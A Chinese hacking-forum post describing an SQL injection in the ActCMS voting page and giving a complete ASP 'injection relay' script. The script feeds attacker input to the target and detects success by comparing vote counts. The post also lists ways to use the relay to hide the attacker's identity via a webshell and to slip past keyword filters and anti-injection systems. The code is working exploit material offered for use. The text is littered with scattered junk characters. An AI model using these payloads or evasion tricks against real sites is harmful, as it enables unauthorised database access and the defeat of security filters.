中国网络渗透测试联盟

标题: 注入中转的高级应用,actcms漏洞以及其他 [打印本页]

作者: admin    时间: 2012-11-6 21:13
标题: 注入中转的高级应用,actcms漏洞以及其他

' u9 S) }8 `7 C" A% B! t看到ninty大牛的blog的一篇文章5 X. I" o: l, Z. o3 H. e6 f
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]+ P5 k7 D. }8 I6 u
关于actcms漏洞的利用  by 3x qq:381862589
7 R- K9 D; N0 G8 q转载请注明以上1 ~! U6 p5 d" w& H8 M% b: [
漏洞文件:* P7 D$ F1 R3 x( G3 J
/plus/vote/vote.asp
: x+ E: r' e. i/ U代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
. L& ?9 F) p' ^- Z% }! Z% ]  f' C+ ~7 J
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   1 Y) b$ K1 A- h. t

" f% p4 v9 @' F+ ~# O3    response.end   
3 p- d8 i6 P, y2 {1 s7 F3 S9 H; ?) a2 a, d) [
4    end if    3 D4 a7 l2 ]4 `* ^
, u  o2 T/ }# m. q# \9 L
5    for i=1 to request("voted").count   
9 N) X' P: u- D* R- P) \, o( `; K7 ^( Z; T) s, \) U& K; F# w
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
7 s& ?$ H* F; `" o3 u% Z+ u/ J" Z9 y9 A0 W* h  f1 g
7    next   
; r% i1 P% x( g! r7 j9 f1 l5 W% K, y, x6 E+ f1 j+ K3 o
8....    5 g3 y1 i. B( l" M3 `
) `% t6 R% Y0 f* s
9response.Redirect "index.asp?id="&id&""   
, K( H( L" i- [& h- k0 B' i投票结束回跳转回index.asp这个投票结果页面
; o+ w! H  l' }- K2 u' ?! C/ l如果投票成功票数加1
; T9 w+ b4 b- R8 q$ |            失败票数不变$ `  ~! w- M! I% s8 I1 S
如图:& l$ i' r% P3 a. G+ }" W0 R
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
2 k# T$ }& }- z$ V6 y5 ]9 Q  s5 J
' N; k' \+ k; n: w- }+ ?& Z: W2009-12-27 13:20
) G; V6 `. t- |# a( p: }/ q% ^* z- y! e# q" c3 j5 Q6 S  U5 y! v
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
! y9 |  Y0 S9 \) @, d- ^. ]* Z( ~! ^
本帖隐藏的内容需要回复才可以浏览" _' Y) T; g" v. Y* Q' z" A
我们用注入中转来实现这个注入具体代码如下:. t2 @5 K+ o2 J/ V  G
先用寂寞的刺猬大牛的注入中转生成jmget.asp
: `5 z$ N* ?2 Y. j% c) R; ?; h注入地址:http://localhost/actcms/plus/vote/vote.asp2 U2 g( Z* h8 u! a
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
  C1 ]% M& {: \$ w- K' A9 O% o, n+ g3 v
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
) J& q- d. P+ v7 a" X( k& F/ D6 l3 g, I8 Z# C
02JmdcwName=request("jmdcw") $ b: G% ~7 S, u8 T- ^+ K: b

" L, E' o) I( R6 [03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
% P* t8 C* h, s; B: C0 J9 N  [- Y& [6 I4 f
04JmStr="id=1&voted=-1 or 1="&JmdcwName
8 k) f# G& j. s' R, W3 {
" D  V. T; H7 I: W  \4 Z05JmStr=URLEncoding(JmStr)
2 R! D% W9 l0 f: s: H5 |$ s) z3 q( C6 ~
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 m* U# @' @- f% ?3 G( j3 Q+ t; `5 e0 ]
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"" Y* K% ~& k6 p* B- ~# d
4 f5 H5 @% q" R
08testurl=testurl & "?" & JmStr ; F! T) ]" q$ e+ }7 R
. U- ?1 z! ^! v) ^! w
09JMUrl=JMUrl & "?" & JmStr
6 Q/ o5 T: m' F4 w3 u
" Z6 M2 L! u) X: ^1 |10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"9 V) N% E/ {, g8 b& U
5 z  i8 ^8 L9 e3 t1 Y" |
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 |6 n# I4 I$ M2 Q- ^
  P" W  o0 a5 n12JmCok=replace(JmCok,chr(32),"%20")  8 K# u" D" b7 I3 L2 b+ n6 z, p
! ?% q2 N! N9 v
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 + Z7 g  y. Z2 w6 f! i) r

! o; G; E; D8 ^+ s1 {# W14  * z9 u' h. m2 ]
7 g: \- o# D& I4 e6 B
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
& M% _% V- m6 W6 S$ w2 J3 ?( d0 A* n9 h
16  2 T! m- G7 R7 Y; A. l

# I2 T  C4 \+ C9 x9 Y" }! N17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 : }! m8 y) `% C) d8 w" t

$ S6 L3 l2 ~1 g8 |' l% E8 ]18response.write test1&""&test2&""5 W  d3 ~0 B# _4 ?# e9 ^

) R1 @9 b6 H) s( [0 B6 [& u, l; c& k19  8 }  z3 `7 c: R# ?
! |" m4 [, S% f# M7 y* q
20if test1=test2 then '如前后记录相等,表示失败
# p9 P( B! B8 c$ ~: t. q1 x8 S! P$ I* q4 Z( R
21  response.write "failed"$ ?% v/ `/ z5 F- |- V
7 i; D  `: W2 a$ ^. b' k" x( H& r
22else ' L* K: S- C: R5 K: i. y

' M8 g  Q& I3 _5 K7 @* L23  response.write "succeed"
, u- r5 E3 Y+ z0 m( j/ b6 M9 C) C8 X( }$ N6 \8 G$ O7 D
24end if  
5 ]$ E: x5 Y) b3 w; i6 Z( C: k* b
25  
, x8 L0 N. o$ i# T& c1 [& O- `6 T2 }/ x4 T9 i/ s
26response.write "by 3x"
5 Y; [" x' X) P% t6 K9 @+ E
  j; f! B1 `1 x+ m3 I+ b. z27  
) }) c. Q, n/ c3 |3 H: K
5 ]% q$ S1 F: Z2 F. T28  
% x( J! g, d- Q, b0 G" Q
: b& p$ f9 S4 k( b' k9 c1 T; ?. u29Function PostData(PostUrl,PostStr,PostCok,PostRef)   8 n* w' o: A' ]
. j# b& w  h, _% J
30Dim Http 5 ?& u5 T# u& ~9 p
# f; g- S; X8 f( |5 b
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
) @" C$ |1 n. [* g: o  E9 H
, U& K# f0 o: P- |32With Http : e; u4 l/ u' q4 ?9 [

; ?; ]. `3 F6 ]33  " g0 |- B, i2 Q& A" K9 K& T  d
3 [7 D: Y# ^5 C- c' m7 ^/ K
34.Open "GET",PostUrl,False6 r; d/ O( `2 h
( _: B+ Q$ L4 f! a6 H  E1 M* P
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
2 W  `5 D" O! J$ `' F
0 _$ B+ H8 Q' d36.SetRequestHeader "Referer",PostRef
6 }6 j! G8 T6 @) ^2 P, C# L7 r3 S
! H& h9 e) Z5 V# e7 e# s37.SetRequestHeader "Cookie",PostCok . |5 `& p6 D. W" F

4 _# g1 m7 k: p& K38.Send ()
5 v  r. P& X4 C! }& v( P4 ~& n3 a3 J& l
39PostData = .ResponseBody 5 g& m& [" L+ b3 j
' S* T7 t/ c% `+ `! k
40End With! d$ C4 r& v. P- p
0 q. i$ m; A- y
41Set Http = Nothing. {, F: [( o* E6 ]9 E
* S, B* j/ C. y
42PostData =bytes2BSTR(PostData) ) s8 s+ x( \! X/ F

% @" H! h8 ~3 P! `, Q43End Function
* X5 d/ \* p+ [( L; M* M' p
) I/ p, S: v. H) r; w$ @* s44  7 Q% V" @. G& @
  c* c/ S+ a! Z5 J9 \& F- q
45  + @1 b5 t# T+ ^: d& H

9 O$ J$ T' [) k& T: l46Function bytes2BSTR(vIn) % w7 P5 ]! W4 \  u$ L& R
+ k1 k# Z9 ^, Q; x  n) C1 Q
47Dim strReturn
/ w; h  C4 d8 g  ?7 P
1 U* [' O8 e) B. g. {6 x9 K48Dim I, ThisCharCode, NextCharCode
4 r4 W& i; R( C/ n, ^3 e9 ?' D: o; }' C4 [
49strReturn = ""! P& V( A, C" i: L8 E

4 A5 x* t5 s+ }! g: p. x6 h3 C50For I = 1 To LenB(vIn) " o0 ^4 P4 M% Q% P" u
. Y% C- |8 }2 }4 ?. r
51ThisCharCode = AscB(MidB(vIn, I, 1)) 7 R7 Z4 `6 U# a1 g7 X2 D
! W- P; ]* r* ]
52If ThisCharCode < &H80 Then' S, ]0 G$ z8 c" E% E
& ^9 E) _. O4 M. w7 `
53strReturn = strReturn & Chr(ThisCharCode) - J9 c( j. P" ]2 ~/ A0 s' T3 T

9 l- F. |0 q+ f$ P54Else* a' K/ M! h& \' m0 g0 a
3 m) c2 L5 r$ {% ?6 ]- e
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
+ k. \+ }0 |6 S6 p
+ y  x; Q; F9 ?. ?* S- [56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ' u8 E% k: G' M/ W

2 _1 z% |  T+ j! w& S$ M; j7 B57I = I + 1
2 u7 v' @8 p/ Y, o) D1 P$ l( x4 ~: I
58End If% q6 O* x( [4 H) _/ U. O
6 E' R# Q, }) A
59Next) c' i, n% X2 o  U5 U; S+ J3 l* Z
3 a. q% ~2 Z1 }: A; A. I
60bytes2BSTR = strReturn
# Z- S) P1 k3 |6 K7 V8 ?, z# v3 f0 j  W- Y, J0 q
61End Function' s+ ~9 O6 p2 G3 g9 b# ]# }
6 B8 F+ U; x+ S5 w
62  
) v6 T- t3 N" C3 _- U
  s2 J9 n+ W# g+ P63Function URLEncoding(vstrin)  
8 `9 z# V1 Z( ?  J
  X4 D" D/ u: _, |64strReturn=""7 e: H! C) x. q" t$ x/ S% P" t
# M& a* z) y. n0 n% ]
65Dim i
) E" W' i* o  F  u' p+ c6 T7 L- e" Z3 n1 [$ D
66For i=1 To Len(vstrin) , e( f# H  O: ~9 k+ _6 @

/ q( Y# J8 w0 K  Q" [" m9 ]67ThisChr=Mid(vstrin,i,1)
& H  k* r4 U  }% U
/ q" R0 S. X) P) @5 K; ?: ?68if Abs(Asc(ThisChr))< &HFF Then
0 A- d% B" R$ [7 ~$ x, a, A2 t
9 @$ R# t" f$ Q" X, V+ W* h69strReturn=strReturn & ThisChr # E. _, x1 ^3 V+ ?1 j
2 a( P0 {; a) e* R1 F
70Else$ X; {0 `6 I- X7 \0 n$ |/ P) T
* r( S0 o5 n) a- G# h8 [' z
71InnerCode=Asc(ThisChr) ( d7 W6 C; w, ~; h$ c- }% P# d
. u$ n; s  b# i7 N6 B  i! m7 T( t
72If InnerCode<0 Then  Q6 M1 v' q7 G! A4 I
( `( i2 K% l  F8 q6 z- {+ j- y  i
73InnerCode=InnerCode + &H10000 3 s  [$ f1 F: A. ~9 `
! Y* R$ p! m7 Q% M
74End If  \9 t* g9 _$ g, ~; P: c: d, N' A

4 `* D% p- C; v5 A5 M9 ]75Hight1=(InnerCode And &HFF00) \&HFF ) x# G! Z0 i5 {( F

- {. y: L# L! ~+ G4 |/ T76Low1=InnerCode And &HFF * U* M% U3 @# r: y
# U& b) v: q& i9 ]$ O6 f  X0 P' Z# ^
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
% a$ p  ?5 K7 Y$ N8 ?! N1 `/ f0 _4 @  Q1 B+ Q' B/ E
78End if
1 `* U4 i: ^, x" ], B
7 S8 j/ ?4 X8 M, v( R- x: K79Next2 ]6 ?* c: F+ U* m5 ]8 y

. s, b' a0 m% _1 c; I80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
0 Y2 h2 J8 J4 c* N5 ]4 t- l2 `5 i2 D2 w% q: |/ ?4 g+ e
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
. _4 h  F! Z7 T. [( F6 Q; N! {, G: z4 C
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
0 T4 D& M6 g2 a/ k/ |8 ~+ T  U
0 p7 u8 X1 ^# Z; L- q83URLEncoding=strReturn
3 ~) }2 L  @) R! U1 S
7 b- e* f: l& H3 m  ?! V# U84End Function
( _$ T0 |5 _" q( Z$ P8 X$ ]
  H8 Z$ ]) v& I1 e' A$ v; _85  
+ Y/ C$ L- ^; y# n. z( ]3 @- y8 `6 X/ p3 O. i4 m7 ]
86function getSt(body) & L, m( J# V7 P0 n" d) Q  ^! |

+ C# F8 u. `- ]' H1 t87  startpot=instr(body,"投票人数:")+len("投票人数:")
( t) F7 [) u9 Z/ _. F. i7 y; v, \4 b
88  endpot=instr(startpot,body," ") ) u& W* d2 h4 h2 t# f# v

% H0 Q: \0 l% s6 \89  getSt=mid(body,startpot,endpot-startpot)
" T: u1 U1 D  H: y3 I+ a5 Y7 G$ Y! `" F% t' i# N" J8 n) {
90end function
2 h' b9 \; P+ y
& F: s! t3 o  M( u# r91%>; j! d2 U* M8 |* i/ s
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了# b$ ~6 M) |/ l" q/ i
测试下效果:5 f. w4 k8 B0 T6 F$ H
投票成功:
: J. E) M% q; g& w; j2 b$ d1 Shttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
- O- {; r( u2 E# {2 _( l9 j4 N: j9 X- o7 p8 ?. b& U) n" p& L
2009-12-27 13:29
" }$ v9 F7 J( u- f投票失败
* d3 x; o5 w% R3 D7 A" vhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
8 ?, Q- K5 M5 z* |. p; k4 {( Y6 a9 x* Q3 @4 E0 A0 h7 ~/ t% `
2009-12-27 13:29$ x( ]( g/ F9 ?8 X* I6 Y" @
-------------------------------------------------------------------------------
0 Z7 E% `8 Y& ~8 `) p9 t: q* H再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
: K6 M  K. u7 m很抱歉。。。只能用单线程工具去注入。。。。。
& ?$ H9 c: \& f  `% Z所以失败。。。不好意思。。。  T$ ]) ?+ s4 U! m: L$ @* q
-------------------------------------------------------------------------------
) B& ^' h  N4 b7 ~* }% N) C. Y+ L" o6 N1 S( Q" K& F
注入中转的一些其他应用
' C  s  v( [  R其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了- U! D. A1 j9 p
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id- P' \' J* Z7 j9 {
2.post注入转成get型的注入,方便我们使用工具来跑
" T2 p. e' a  \# |" Y& \: I3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
5 ]0 |* T$ O6 d! Z& b+ Z7 r4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
; d0 C6 W, f5 N0 s/ N
  k- Z' J/ ^. @




欢迎光临 中国网络渗透测试联盟 (http://www.cobjon.com/) Powered by Discuz! X3.2